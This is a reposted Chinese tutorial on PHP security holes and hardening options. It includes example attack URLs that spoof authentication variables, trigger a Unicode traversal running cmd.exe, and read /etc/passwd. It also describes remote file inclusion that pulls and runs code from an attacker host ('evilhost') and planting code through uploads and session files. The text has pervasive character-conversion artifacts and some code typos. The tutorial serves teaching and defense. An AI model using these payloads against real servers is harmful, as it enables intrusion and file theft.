不是固若金湯，隨著php的廣泛運(yùn)用，一些黑客們也在無(wú)時(shí)不想找php的麻煩，通過(guò)php程序漏洞進(jìn)行攻擊就是其中一種。在節(jié)，我們將從全局變量，遠(yuǎn)程文件，文件上載，庫(kù)文件，Session文件，數(shù)據(jù)類(lèi)型和容易出錯(cuò)的函數(shù)這幾個(gè)方面分析了php的安全性。

如何通過(guò)全局變量進(jìn)行攻擊？

php中的變量不需要事先聲明，它們會(huì)在第一次使用時(shí)自動(dòng)創(chuàng)建，它們的類(lèi)型根據(jù)上下文環(huán)境自動(dòng)確定。從程序員的角度來(lái)看，這無(wú)疑是一種極其方便的處理方法。一旦一個(gè)變量被創(chuàng)建了，就可以在程序中的任何地方使用。這個(gè)特點(diǎn)導(dǎo)致的結(jié)果就是程序員很少初始化變量。

很顯然，基于php的應(yīng)用程序的主函數(shù)一般都是接受用戶的輸入（主要是表單變量，上載文件和Cookie等），然后對(duì)輸入數(shù)據(jù)進(jìn)行處理，然后把結(jié)果返回到客戶端瀏覽器。為了使php代碼訪問(wèn)用戶的輸入盡可能容易，實(shí)際上php是把這些輸入數(shù)據(jù)看作全局變量來(lái)處理的。

例如：
復(fù)制代碼 代碼如下:
<FORM METHOD="GET" ACTION="test.php"> 
<INPUT TYPE="TEXT" NAME="hello"> 
<INPUT TYPE="SUBMIT"> 
</FORM> 

　　這會(huì)顯示一個(gè)文本框和提交按鈕。當(dāng)用戶點(diǎn)擊提交按鈕時(shí)，"test.php"會(huì)處理用戶的輸入，當(dāng)"test.php"運(yùn)行時(shí)，"$hello"會(huì)包含用戶在文本框輸入的數(shù)據(jù)。從這里我們應(yīng)該看出，攻擊者可以按照自己的意愿創(chuàng)建任意的全局變量。如果攻擊者不是通過(guò)表單輸入來(lái)調(diào)用"test.php"，而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no，那么，不止是"$hello"被創(chuàng)建，"$setup"也被創(chuàng)建了。

下面的用戶認(rèn)證代碼暴露了php的全局變量所導(dǎo)致的安全問(wèn)題：
php代碼
復(fù)制代碼 代碼如下:
<?php 
if ($pass == "hello") 
$auth = 1; 
... 
if ($auth == 1) 
echo "some important information"; 
?>

上面的代碼首先檢查用戶的密碼是否為"hello"，如果匹配的話，設(shè)置"$auth"為"1"，即通過(guò)認(rèn)證。之后如果"$suth"為"1"的話，就會(huì)顯示一些重要信息。

這段代碼假定"$auth"在沒(méi)有設(shè)置值的時(shí)候是空的，但是攻擊者可以創(chuàng)建任何全局變量并賦值，通過(guò)類(lèi)似"http://server/test.php?auth=1"的方法，我們完全可以欺騙這段代碼，使它相信我們是已經(jīng)認(rèn)證過(guò)的。

因此，為了提高php程序的安全性，我們不能相信任何沒(méi)有明確定義的變量。如果程序中的變量很多的話，這可是一項(xiàng)非常艱巨的任務(wù)。

一種常用的保護(hù)方式就是檢查數(shù)組HTTP_GET[]或POST_VARS[]中的變量，這依賴于我們的提交方式（GET或POST）。當(dāng)php配置為打開(kāi)"track_vars"選項(xiàng)的話（這是缺省值），用戶提交的變量就可以在全局變量和上面提到的數(shù)組中獲得。

但是值得說(shuō)明的是，php有四個(gè)不同的數(shù)組變量用來(lái)處理用戶的輸入。HTTP_GET_VARS數(shù)組用來(lái)處理GET方式提交的變量，HTTP_POST_VARS數(shù)組用于處理POST方式提交的變量；HTTP_COOKIE_VARS數(shù)組用于處理作為cookie頭提交的變量，而對(duì)于HTTP_POST_FILES數(shù)組（比較新的php才提供），則完全是用戶用來(lái)提交變量的一種可選方式。用戶的一個(gè)請(qǐng)求可以很容易的把變量存在這四個(gè)數(shù)組中，因此一個(gè)安全的php程序應(yīng)該檢查這四個(gè)數(shù)組。

如何通過(guò)遠(yuǎn)程文件進(jìn)行攻擊？

php是一種具有豐富特性的語(yǔ)言，提供了大量的函數(shù)，使編程者很容易實(shí)現(xiàn)特定功能。但是從安全的角度來(lái)看，功能越多，要保證它的安全性就越難，遠(yuǎn)程文件就佐證這個(gè)問(wèn)題的一個(gè)很好例子：
復(fù)制代碼 代碼如下:
<?php 
if (!($fd = fopen("$filename", "r")) 
echo("Could not open file: $filename＜BR＞/n"); 
?>

上面的腳本試圖打開(kāi)文件"$filename"，如果失敗就顯示錯(cuò)誤信息。很明顯，如果我們能夠指定"$filename"的話，就能利用這個(gè)腳本瀏覽系統(tǒng)中的任何文件。但是，這個(gè)腳本還存在一個(gè)不太明顯的特性，那就是它可以從任何其它WEB或FTP站點(diǎn)讀取文件。實(shí)際上，php的大多數(shù)文件處理函數(shù)對(duì)遠(yuǎn)程文件的處理是透明的。

例如：
如果指定"$filename"為 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

則上面的代碼實(shí)際上是利用主機(jī)target上的unicode漏洞，執(zhí)行了dir命令。這使得支持遠(yuǎn)程文件的 include()，require()，include_once()和require_once()在上下文環(huán)境中變得更有趣。這些函數(shù)主要功能是包含指定文件的內(nèi)容，并且把它們按照php代碼解釋?zhuān)饕怯迷趲?kù)文件上。

例如：
復(fù)制代碼 代碼如下:
<?php 
include($libdir . "/languages.php"); 
?> 

上例中"$libdir"一般是一個(gè)在執(zhí)行代碼前已經(jīng)設(shè)置好的路徑，如果攻擊者能夠使得"$libdir"沒(méi)有被設(shè)置的話，那么他就可以改變這個(gè)路徑。但是攻擊者并不能做任何事情，因?yàn)樗麄冎荒茉谒麄冎付ǖ穆窂街性L問(wèn)文件languages.php（perl中的"Poisonnull byte"攻擊對(duì)php沒(méi)有作用）。但是由于有了對(duì)遠(yuǎn)程文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某臺(tái)服務(wù)器上放一個(gè)文件 languages.php，包含如下內(nèi)容：
復(fù)制代碼 代碼如下:
<?php 
passthru("/bin/ls /etc"); 
?> 

然后把"$libdir"設(shè)置為"http://＜evilhost＞/"，這樣我們就可以在目標(biāo)主機(jī)上執(zhí)行上面的攻擊代碼，"/etc"目錄的內(nèi)容將作為結(jié)果返回到客戶的瀏覽器中。

需要注意的是，攻擊代碼是不會(huì)在自身所在的服務(wù)器（也就是evilhost）上執(zhí)行執(zhí)行自身php程序的，否則，攻擊代碼會(huì)攻擊自身所在的服務(wù)器，而不是在目標(biāo)服務(wù)器執(zhí)行。

如何通過(guò)文件上載進(jìn)行攻擊？

php自動(dòng)支持基于RFC 1867的文件上載，我們看下面的例子：
復(fù)制代碼 代碼如下:
<FORM METHOD="POST" ENCTYPE="multipart/form-data"> 
<INPUT TYPE="FILE" NAME="hello"> 
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> 
<INPUT TYPE="SUBMIT"> 
</FORM>

上面的代碼讓用戶從本地機(jī)器選擇一個(gè)文件，當(dāng)點(diǎn)擊提交后，文件就會(huì)被上載到服務(wù)器。這顯然是很有用的功能，但是php的響應(yīng)方式將使這項(xiàng)功能變得不安全。當(dāng)php第一次接到這種請(qǐng)求，甚至在它開(kāi)始解析被調(diào)用的php代碼之前，它會(huì)先接受遠(yuǎn)程用戶的文件，檢查文件的長(zhǎng)度是否超過(guò)"$MAX_FILE_SIZE variable"定義的值，如果通過(guò)這些測(cè)試的話，文件就會(huì)被存在本地的一個(gè)臨時(shí)目錄中。
因此，攻擊者可以發(fā)送任意文件給運(yùn)行php的主機(jī)，在php程序還沒(méi)有決定是否接受文件上載時(shí)，文件已經(jīng)被存在服務(wù)器上了。

讓我們考慮一下處理文件上載的php程序，正如我們上面說(shuō)的，文件被接收并且是存在服務(wù)器上（位置是在配置文件中指定的，一般是/tmp），擴(kuò)展名一般是隨機(jī)的，類(lèi)似"phpxXuoXG"的形式。php程序需要上載文件的信息以便處理它，這可以通過(guò)兩種方式，一種方式是在php3中已經(jīng)使用的，另一種是在我們對(duì)以前的方法提出安全公告后引入的。

大多數(shù)php程序還是使用老的方式來(lái)處理上載文件。php設(shè)置了四個(gè)全局變量來(lái)描述上載文件，比如說(shuō)上面的例子：

復(fù)制代碼 代碼如下:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG") 
$hello_size = Size in bytes of file (e.g 1024) 
$hello_name = The original name of the file on the remote system (e.g"c://temp//hello.txt") 
$hello_type = Mime type of uploaded file (e.g "text/plain")   

然后，php程序開(kāi)始處理根據(jù)"$hello"指定的文件。問(wèn)題在于"$hello"不一定是一個(gè)php設(shè)置的變量，任何遠(yuǎn)程用戶都可以指定它。如果我們使用下面的方式：

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就導(dǎo)致了下面的php全局變量（當(dāng)然POST方式也可以（甚至是Cookie））：
復(fù)制代碼 代碼如下:
$hello = "/etc/passwd" 
$hello_size = 10240 
$hello_type = "text/plain" 
$hello_name = "hello.txt"

上面的表單數(shù)據(jù)正好滿足了php程序所期望的變量，但是這時(shí)php程序不再處理本應(yīng)在上載者本機(jī)上的上載文件，而是處理服務(wù)器上"/etc/passwd"（通常會(huì)導(dǎo)致內(nèi)容暴露）文件。這種攻擊可以用于暴露任何敏感文件的內(nèi)容。

新版本的php使用HTTP_POST_FILES[]來(lái)決定上載文件，同時(shí)也提供了很多函數(shù)來(lái)解決這個(gè)問(wèn)題，例如有一個(gè)函數(shù)用來(lái)判斷某個(gè)文件是不是實(shí)際上載的文件。但是實(shí)際上肯定有很多php程序仍然使用舊的方法，所以也很容易受到這種攻擊。

作為文件上載的攻擊方法的一個(gè)變種，我們看一下下面的一段代碼：
復(fù)制代碼 代碼如下:
<?php 
if (file_exists($theme)) // Checks the file exists on the local system (noremote files) 
include("$theme"); 
?>

如果攻擊者可以控制"$theme"的話，很顯然它可以利用"$theme"來(lái)讀取遠(yuǎn)程系統(tǒng)上的任何文件。攻擊者的最終目標(biāo)是在遠(yuǎn)程服務(wù)器上執(zhí)行任意指令，但是他無(wú)法使用遠(yuǎn)程文件，因此，他必須得在遠(yuǎn)程服務(wù)器上創(chuàng)建一個(gè)php文件。這乍看起來(lái)好象是不可能的，但是文件上載幫了我們這個(gè)忙，如果攻擊者先在本地機(jī)器上創(chuàng)建一個(gè)包含php代碼的文件，然后創(chuàng)建一個(gè)包含名為"theme"的文件域的表單，最后用這個(gè)表單通過(guò)文件上載把創(chuàng)建的包含php代碼的文件提交給上面的代碼，php就會(huì)把攻擊者提交的文件保存起來(lái)，并把"$theme"的值設(shè)置為攻擊者提交的文件，這樣file_exists()函數(shù)會(huì)檢查通過(guò)，攻擊者的代碼也將執(zhí)行。
獲得執(zhí)行任意指令的能力之后，攻擊者顯然想提升權(quán)限或者是擴(kuò)大戰(zhàn)果，而這又需要一些服務(wù)器上沒(méi)有的工具集，而文件上載又一次幫了攻擊者的忙。攻擊者可以使用文件上載功能上載工具，把她們存在服務(wù)器上，然后利用他們執(zhí)行指令的能力，使用chmod()改變文件的權(quán)限，然后執(zhí)行。例如：攻擊者可以繞過(guò)防火墻或IDS上載一個(gè)本地root攻擊程序，然后執(zhí)行，這樣就獲得了root權(quán)限。

如何通過(guò)庫(kù)文件進(jìn)行攻擊？

正如我們前面討論的那樣，include()和require()主要是為了支持代碼庫(kù)，因?yàn)槲覀円话闶前岩恍┙?jīng)常使用的函數(shù)放到一個(gè)獨(dú)立的文件中，這個(gè)獨(dú)立的文件就是代碼庫(kù)，當(dāng)需要使用其中的函數(shù)時(shí)，我們只要把這個(gè)代碼庫(kù)包含到當(dāng)前的文件中就可以了。

最初，人們開(kāi)發(fā)和發(fā)布php程序的時(shí)候，為了區(qū)別代碼庫(kù)和主程序代碼，一般是為代碼庫(kù)文件設(shè)置一個(gè)".inc"的擴(kuò)展名，但是他們很快發(fā)現(xiàn)這是一個(gè)錯(cuò)誤，因?yàn)檫@樣的文件無(wú)法被php解釋器正確解析為php代碼。如果我們直接請(qǐng)求服務(wù)器上的這種文件時(shí)，我們就會(huì)得到該文件的源代碼，這是因?yàn)楫?dāng)把php作為 Apache的模塊使用時(shí)，php解釋器是根據(jù)文件的擴(kuò)展名來(lái)決定是否解析為php代碼的。擴(kuò)展名是站點(diǎn)管理員指定的，一般是".php"， ".php3"和".php4"。如果重要的配置數(shù)據(jù)被包含在沒(méi)有合適的擴(kuò)展名的php文件中，那么遠(yuǎn)程攻擊者很容易得到這些信息。

最簡(jiǎn)單的解決方法就是：給每個(gè)文件都指定一個(gè)php文件的擴(kuò)展名，這樣可以很好的防止泄露源代碼的問(wèn)題，但是又產(chǎn)生了新的問(wèn)題，通過(guò)請(qǐng)求這個(gè)文件，攻擊者可能使本該在上下文環(huán)境中運(yùn)行的代碼獨(dú)立運(yùn)行，這可能導(dǎo)致前面討論的全部攻擊。

下面是一個(gè)很明顯的例子：
復(fù)制代碼 代碼如下:
 In main.php:  
 <?php  
 $libDir = "/libdir";  
 $langDir = "$libdir/languages";  
 ...  
 include("$libdir/loadlanguage.php":  
 ?>  

 In libdir/loadlanguage.php:  
 <?php  
 ...  
  
 include("$langDir/$userLang");  
 ?>   

當(dāng)"libdir/loadlanguage.php"被"main.php"調(diào)用時(shí)是相當(dāng)安全的，但是因?yàn)?libdir /loadlanguage"具有".php"的擴(kuò)展名，因此遠(yuǎn)程攻擊者可以直接請(qǐng)求這個(gè)文件，并且可以任意指定"$langDir" 和"$userLang"的值。

如何通過(guò)Session文件進(jìn)行攻擊？

php 4或更新的版本提供了對(duì)sessions的支持，它的主要作用是在php程序中保存頁(yè)與頁(yè)之間的狀態(tài)信息。例如，當(dāng)一個(gè)用戶登陸進(jìn)入網(wǎng)站，他登陸了的這個(gè)事實(shí)以及誰(shuí)登陸進(jìn)入這個(gè)網(wǎng)站的相關(guān)信息都將被保存在session中，當(dāng)他在網(wǎng)站中到處瀏覽時(shí)，所有的php代碼都可以獲得這些狀態(tài)信息。

事實(shí)上，當(dāng)一個(gè)session啟動(dòng)時(shí)（實(shí)際上是在配置文件中設(shè)置為在第一次請(qǐng)求時(shí)自動(dòng)啟動(dòng)），就會(huì)生成一個(gè)隨機(jī)的"session id"，如果遠(yuǎn)程瀏覽器總是在發(fā)送請(qǐng)求時(shí)提交這個(gè)"session id"的話，session就會(huì)一直保持。這通過(guò)Cookie很容易實(shí)現(xiàn)，也可以通過(guò)在每頁(yè)提交一個(gè)表單變量（包含"session id"）來(lái)實(shí)現(xiàn)。php程序可以用session注冊(cè)一個(gè)特殊的變量，它的值會(huì)在每個(gè)php腳本結(jié)束后存在session文件中，也會(huì)在每個(gè)php腳本開(kāi)始前加載到變量中。下面是一個(gè)簡(jiǎn)單的例子：

復(fù)制代碼 代碼如下:
<?php  
session_destroy(); // Kill any data currently in the session  
$session_auth = "shaun";  
session_register("session_auth"); // Register $session_auth as a session variable  
?>   

新版本的php都會(huì)自動(dòng)把"$session_auth"的值設(shè)置為"shaun"，如果它們被修改的話，以后的腳本都會(huì)自動(dòng)接受修改后的值，這對(duì)無(wú)狀態(tài)的Web來(lái)說(shuō)的確是種很不錯(cuò)的工具，但是我們也應(yīng)該小心。

一個(gè)很明顯的問(wèn)題就是確保變量的確來(lái)自session，例如，給定上面的代碼，如果后續(xù)的腳本是下面這樣的話：
復(fù)制代碼 代碼如下:
<?php  
if (!emptyempty($session_auth))  
// Grant access to site here  
?>

上面的代碼假定如果"$session_auth"被賦值的話，就是從session，而不是從用戶輸入來(lái)賦值的，如果攻擊者通過(guò)表單輸入來(lái)賦值的話，他就可以獲得對(duì)站點(diǎn)的訪問(wèn)權(quán)。注意攻擊者必須在session注冊(cè)該變量之前使用這種攻擊方法，一旦變量被放進(jìn)了session，就會(huì)覆蓋任何表單輸入。

Session數(shù)據(jù)一般是保存在文件中（位置是可配置的，一般是"/tmp"），文件名一般是類(lèi)似"sess_<session id>"的形式，這個(gè)文件包含變量名稱(chēng)，變量類(lèi)型，變量值和一些其它的數(shù)據(jù)。在多主機(jī)系統(tǒng)中，因?yàn)槲募且赃\(yùn)行Web服務(wù)器的用戶身份（一般是 nobody）保存的，因此惡意的站點(diǎn)擁有者就可以通過(guò)創(chuàng)建一個(gè)session文件來(lái)獲得對(duì)其它站點(diǎn)的訪問(wèn)，甚至可以檢查session文件中的敏感信息。

Session機(jī)制也為攻擊者把自己的輸入保存在遠(yuǎn)程系統(tǒng)的文件中提供了另一個(gè)方便。對(duì)于上面的例子來(lái)說(shuō)，攻擊者需要在遠(yuǎn)程系統(tǒng)放置一個(gè)包含php代碼的文件，如果不能利用文件上載做到的話，他通常會(huì)利用session為一個(gè)變量按照自己的意愿賦一個(gè)值，然后猜測(cè)session文件的位置，而他知道文件名是"php<session id>"，所以只需猜測(cè)目錄，而目錄一般就是"/tmp"。

另外，攻擊者可以任意指定"session id"（例如"hello"），然后用這個(gè)"session id"創(chuàng)建一個(gè)session文件（例如"/tmp/sess_hello"），但是"session id"只能是字母和數(shù)字組合。

如何通過(guò)數(shù)據(jù)類(lèi)型進(jìn)行攻擊？

php 具有比較松散的數(shù)據(jù)類(lèi)型，變量的類(lèi)型依賴于它們所處的上下文環(huán)境。例如："$hello"開(kāi)始是字符串變量，值為""，但是在求值時(shí)，就變成了整形變量"0"，這有時(shí)可能會(huì)導(dǎo)致一些意想不到的結(jié)果。如果"$hello"的值為"000"還是為"0"是不同的，empty()返回的結(jié)果也不會(huì)為真。

php中的數(shù)組是關(guān)聯(lián)數(shù)組，也就是說(shuō)，數(shù)組的索引是字符串型的。這意味著"$hello["000"]"和"$hello[0]"也是不同的。

開(kāi)發(fā)程序的時(shí)候應(yīng)該仔細(xì)地考慮上面的問(wèn)題，例如，我們不應(yīng)該在一個(gè)地方測(cè)試某個(gè)變量是否為"0"，而在另外的地方使用empty()來(lái)驗(yàn)證。

如何通過(guò)容易出錯(cuò)的函數(shù)進(jìn)行攻擊？下面是一份比較詳細(xì)的容易出錯(cuò)的函數(shù)列表：

復(fù)制代碼 代碼如下:
1. <php代碼執(zhí)行>  
2. require()：讀取指定文件的內(nèi)容并且作為php代碼解釋  
3. include()：同上  
4. eval()：把給定的字符串作為php代碼執(zhí)行  
5. preg_replace()：當(dāng)與"/e"開(kāi)關(guān)一起使用時(shí)，替換字符串將被解釋為php代碼  
6.  
7.   <命令執(zhí)行>  
8. exec()：執(zhí)行指定的命令，返回執(zhí)行結(jié)果的最后一行  
9. passthru()：執(zhí)行指定命令，返回所有結(jié)果到客戶瀏覽器  
10. ``：執(zhí)行指定命令，返回所有結(jié)果到一個(gè)數(shù)組  
11. system()：同passthru()，但是不處理二進(jìn)制數(shù)據(jù)  
12. popen()：執(zhí)行指定的命令，把輸入或輸出連接到php文件描述符  
13.  
14. <文件泄露>  
15. fopen()：打開(kāi)文件，并對(duì)應(yīng)一個(gè)php文件描述符  
16. readfile()：讀取文件的內(nèi)容，然后輸出到客戶瀏覽器  
17. file()：把整個(gè)文件內(nèi)容讀到一個(gè)數(shù)組中  

如何增強(qiáng)php的安全性?

我們?cè)谏厦娼榻B的所有攻擊對(duì)于缺省安裝的php4都可以很好的實(shí)現(xiàn)，但是php的配置非常靈活，通過(guò)配置一些php選項(xiàng)，我們完全可能抵抗其中的一些攻擊。下面我們按照實(shí)現(xiàn)的難度對(duì)一些配置進(jìn)行了分類(lèi)：
復(fù)制代碼 代碼如下:
*低難度
**中低難度
***中高難度
****高難度

如果你使用了php提供的所有選項(xiàng)的話，那么你的php將是很安全的，即使是第三方的代碼也是如此，因?yàn)槠渲泻芏喙δ芤呀?jīng)不能使用。

**** 設(shè)置"register_globals"為"off"

這個(gè)選項(xiàng)會(huì)禁止php為用戶輸入創(chuàng)建全局變量，也就是說(shuō)，如果用戶提交表單變量"hello"，php不會(huì)創(chuàng)建"$ hello"，而只會(huì)創(chuàng)建"HTTP_GET/POST_VARS['hello']"。這是php中一個(gè)極其重要的選項(xiàng)，關(guān)閉這個(gè)選項(xiàng)，會(huì)給編程帶來(lái)很大的不便。

*** 設(shè)置"safe_mode"為"on"

打開(kāi)這個(gè)選項(xiàng)，會(huì)增加如下限制：

1． 限制哪個(gè)命令可以被執(zhí)行
2． 限制哪個(gè)函數(shù)可以被使用
3． 基于腳本所有權(quán)和目標(biāo)文件所有權(quán)的文件訪問(wèn)限制
4． 禁止文件上載功能

這對(duì)于ISP來(lái)說(shuō)是一個(gè)"偉大"的選項(xiàng)，同時(shí)它也能極大地改進(jìn)php的安全性。

** 設(shè)置"open_basedir"

這個(gè)選項(xiàng)可以禁止指定目錄之外的文件操作，有效地消除了本地文件或者是遠(yuǎn)程文件被include()的攻擊，但是仍需要注意文件上載和session文件的攻擊。

** 設(shè)置"display_errors"為"off"，設(shè)置"log_errors"為"on"

這個(gè)選項(xiàng)禁止把錯(cuò)誤信息顯示在網(wǎng)頁(yè)中，而是記錄到日志文件中，這可以有效的抵制攻擊者對(duì)目標(biāo)腳本中函數(shù)的探測(cè)。

* 設(shè)置"allow_url_fopen"為"off"

這個(gè)選項(xiàng)可以禁止遠(yuǎn)程文件功能。
復(fù)制代碼 代碼如下:
//這里allow_url_fopen 注意下,在jnc blog上看到,可以用

<?php 
include('//myip/test.php'); 
?> 
  
<?php 
include('//myip/test.php'); 
?> 

來(lái)饒過(guò)?

php技術(shù)：PHP編程中的常見(jiàn)漏洞和代碼實(shí)例，轉(zhuǎn)載需保留來(lái)源！

鄭重聲明：本文版權(quán)歸原作者所有，轉(zhuǎn)載文章僅為傳播更多信息之目的，如作者信息標(biāo)記有誤，請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除，多謝。